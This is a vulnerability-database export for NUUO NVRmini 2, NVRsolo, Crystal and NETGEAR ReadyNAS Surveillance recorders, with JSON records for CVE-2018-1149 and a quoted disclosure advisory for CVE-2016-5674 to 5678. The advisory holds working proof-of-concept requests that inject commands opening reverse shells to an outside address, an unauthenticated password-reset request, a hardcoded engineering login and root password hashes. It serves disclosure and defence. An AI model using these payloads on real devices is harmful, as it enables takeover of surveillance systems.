"name": "92318",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"name": "40200",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/40200/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
"assignerShortName": "certcc",
"cveId": "CVE-2016-5676",
"datePublished": "2016-08-31T15:00:00",
"dateReserved": "2016-06-16T00:00:00",
"dateUpdated": "2024-08-06T01:07:59.977Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
var-201809-0280
Vulnerability from variot
cgi_system in NUUO's NVRMini2 3.8.0 and below allows remote attackers to execute arbitrary code via crafted HTTP requests. NUUO NVRMini2 Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO is one of the monitoring solution providers, and NUUO NVRMini 2 is a NAS-enabled NVR solution. NUUO NVRMini2 has a remote code execution vulnerability. Due to program logic defects, the length of the HTTP header cookie field was not checked when processing the GET request of /cgi-bin/cgi_system and the sprintf function was used for splicing, resulting in a stack overflow. By constructing specially crafted data, an attacker can exploit this vulnerability to execute arbitrary commands on the target device. Failed exploit attempts may result in a denial-of-service condition. NVRmini2 and NVRsolo 3.8.0 and prior are vulnerable. NUUO NVRmini 2 is a video storage management device produced by American NUUO company. There is a security vulnerability in cgi_system in NUUO NVRMini 2 3.8.0 and earlier versions
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201809-0280",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini2",
"scope": "lte",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.8.0"
},
{
"model": "nvrmini 2",
"scope": "lte",
"trust": 0.8,
"vendor": "nuuo",
"version": "3.8.0"
},
{
"model": "nvrmini2",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "03.07.0000.0011"
},
{
"model": "nvrmini2",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "03.08.0000.0005"
},
{
"model": "nvrmini2",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "3.8.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.8"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.8"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "nvrsolo",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.9.1"
},
{
"model": "nvrmini",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.9.1"
},
{
"model": null,
"scope": "eq",
"trust": 0.2,
"vendor": "nvrmini2",
"version": "*"
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Jacob Baines of Tenable",
"sources": [
{
"db": "BID",
"id": "105720"
}
],
"trust": 0.3
},
"cve": "CVE-2018-1149",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2018-1149",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2018-19317",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "IVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.2,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.9 [IVD]"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-121354",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2018-1149",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-1149",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2018-1149",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2018-19317",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201809-862",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1",
"trust": 0.2,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-121354",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-1149",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "VULHUB",
"id": "VHN-121354"
},
{
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cgi_system in NUUO\u0027s NVRMini2 3.8.0 and below allows remote attackers to execute arbitrary code via crafted HTTP requests. NUUO NVRMini2 Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO is one of the monitoring solution providers, and NUUO NVRMini 2 is a NAS-enabled NVR solution. NUUO NVRMini2 has a remote code execution vulnerability. Due to program logic defects, the length of the HTTP header cookie field was not checked when processing the GET request of /cgi-bin/cgi_system and the sprintf function was used for splicing, resulting in a stack overflow. By constructing specially crafted data, an attacker can exploit this vulnerability to execute arbitrary commands on the target device. Failed exploit attempts may result in a denial-of-service condition. \nNVRmini2 and NVRsolo 3.8.0 and prior are vulnerable. NUUO NVRmini 2 is a video storage management device produced by American NUUO company. There is a security vulnerability in cgi_system in NUUO NVRMini 2 3.8.0 and earlier versions",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-1149"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "VULHUB",
"id": "VHN-121354"
},
{
"db": "VULMON",
"id": "CVE-2018-1149"
}
],
"trust": 2.79
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-1149",
"trust": 3.7
},
{
"db": "TENABLE",
"id": "TRA-2018-25",
"trust": 2.4
},
{
"db": "BID",
"id": "105720",
"trust": 1.5
},
{
"db": "ICS CERT",
"id": "ICSA-18-284-01",
"trust": 1.2
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862",
"trust": 0.9
},
{
"db": "CNVD",
"id": "CNVD-2018-19317",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477",
"trust": 0.8
},
{
"db": "IVD",
"id": "E2FB9481-39AB-11E9-880F-000C29342CB1",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-121354",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-1149",
"trust": 0.1
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "VULHUB",
"id": "VHN-121354"
},
{
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"id": "VAR-201809-0280",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "VULHUB",
"id": "VHN-121354"
}
],
"trust": 1.498015885
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"ICS"
],
"sub_category": null,
"trust": 0.8
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
}
]
},
"last_update_date": "2024-11-23T22:12:21.206000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "NUUO version 3.9.1 Release date_2018.09",
"trust": 0.8,
"url": "https://www.nuuo.com/backend/CKEdit/upload/files/NUUO_NVRsolo_v3_9_1_Release%20note.pdf"
},
{
"title": "NUUO NVRMini 2 Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=84988"
},
{
"title": "Exp101tsArchiv30thers",
"trust": 0.1,
"url": "https://github.com/nu11secur1ty/Exp101tsArchiv30thers "
},
{
"title": "awesome-cve-poc_qazbnm456",
"trust": 0.1,
"url": "https://github.com/xbl3/awesome-cve-poc_qazbnm456 "
},
{
"title": "BleepingComputer",
"trust": 0.1,
"url": "https://www.bleepingcomputer.com/news/security/critical-rce-peekaboo-bug-in-nvr-surveillance-system-poc-available/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-121354"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.4,
"url": "https://www.tenable.com/security/research/tra-2018-25"
},
{
"trust": 2.4,
"url": "https://github.com/tenable/poc/tree/master/nuuo/nvrmini2"
},
{
"trust": 1.8,
"url": "https://www.nuuo.com/backend/ckedit/upload/files/nuuo_nvrsolo_v3_9_1_release%20note.pdf"
},
{
"trust": 1.2,
"url": "http://www.securityfocus.com/bid/105720"
},
{
"trust": 1.2,
"url": "https://ics-cert.us-cert.gov/advisories/icsa-18-284-01"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-1149"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1149"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "VULHUB",
"id": "VHN-121354"
},
{
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"db": "VULHUB",
"id": "VHN-121354"
},
{
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-09-19T00:00:00",
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"date": "2018-09-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"date": "2018-09-19T00:00:00",
"db": "VULHUB",
"id": "VHN-121354"
},
{
"date": "2018-09-19T00:00:00",
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"date": "2018-10-11T00:00:00",
"db": "BID",
"id": "105720"
},
{
"date": "2019-01-15T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"date": "2018-09-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"date": "2018-09-19T15:29:06.063000",
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-09-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-19317"
},
{
"date": "2018-12-07T00:00:00",
"db": "VULHUB",
"id": "VHN-121354"
},
{
"date": "2018-12-07T00:00:00",
"db": "VULMON",
"id": "CVE-2018-1149"
},
{
"date": "2018-10-11T00:00:00",
"db": "BID",
"id": "105720"
},
{
"date": "2019-01-15T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-011477"
},
{
"date": "2018-10-16T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-862"
},
{
"date": "2024-11-21T03:59:17.307000",
"db": "NVD",
"id": "CVE-2018-1149"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRMini2 Remote code execution vulnerability",
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19317"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Buffer overflow",
"sources": [
{
"db": "IVD",
"id": "e2fb9481-39ab-11e9-880f-000c29342cb1"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-862"
}
],
"trust": 0.8
}
}
var-201608-0087
Vulnerability from variot
__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 and NVRsolo are network video recorders. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /_nvr_status_.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit
5
Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
